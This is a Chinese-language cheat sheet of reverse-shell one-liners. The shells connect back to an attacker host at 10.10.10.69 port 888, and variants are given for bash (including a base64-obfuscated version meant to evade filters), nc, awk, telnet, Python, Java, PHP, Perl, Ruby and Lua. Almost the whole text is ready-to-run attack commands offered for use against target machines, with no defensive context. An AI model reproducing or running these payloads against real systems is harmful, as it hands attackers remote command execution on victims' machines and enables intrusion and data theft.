反弹shell的各种姿势

前言：攻击机器IP10.10.10.69，监听端口888，反弹命令均在目标机器上执行

nc -lvp 888

1、bash反弹

bash -i >& /dev/tcp/10.10.10.69/888 0>&1
或者sh -c bash -i >& /dev/tcp/10.10.10.69/888 0>&1

base64编码绕过：http://www.jackson-t.ca/runtime-exec-payloads.html

{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC42OS84ODggMD4mMQ==}|{base64,-d}|{bash,-i}

2、nc反弹

nc -e /bin/bash 10.10.10.69 888

3、awk反弹

awk 'BEGIN{s="/inet/tcp/0/10.10.10.69/888";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

4、telnet反弹
需在攻击监听两个端口，比如888和999端口，执行反弹shell命令后，在888终端输入命令，999终端查看命令执行后的结果
攻击机执行命令：

nc -lvp 888
nc -lvp 999

目标机执行命令：

telnet 10.10.10.69 888 | /bin/bash | telnet 10.10.10.69 999

5、Python反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.69',888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

6、Java反弹

public class Test {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.69/888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

保存为Test.java，编译执行，成功反弹shell

javac Test.java
java Test

7、PHP反弹

php -r '$sock=fsockopen("10.10.10.69",888);exec("/bin/sh -i <&3 >&3 2>&3");'

8、Perl反弹

perl -e 'use Socket;$i="10.10.10.69";$p=888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

9、Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("10.10.10.69",888).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

10、Lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.69','888');os.execute('/bin/sh -i <&3 >&3 2>&3');"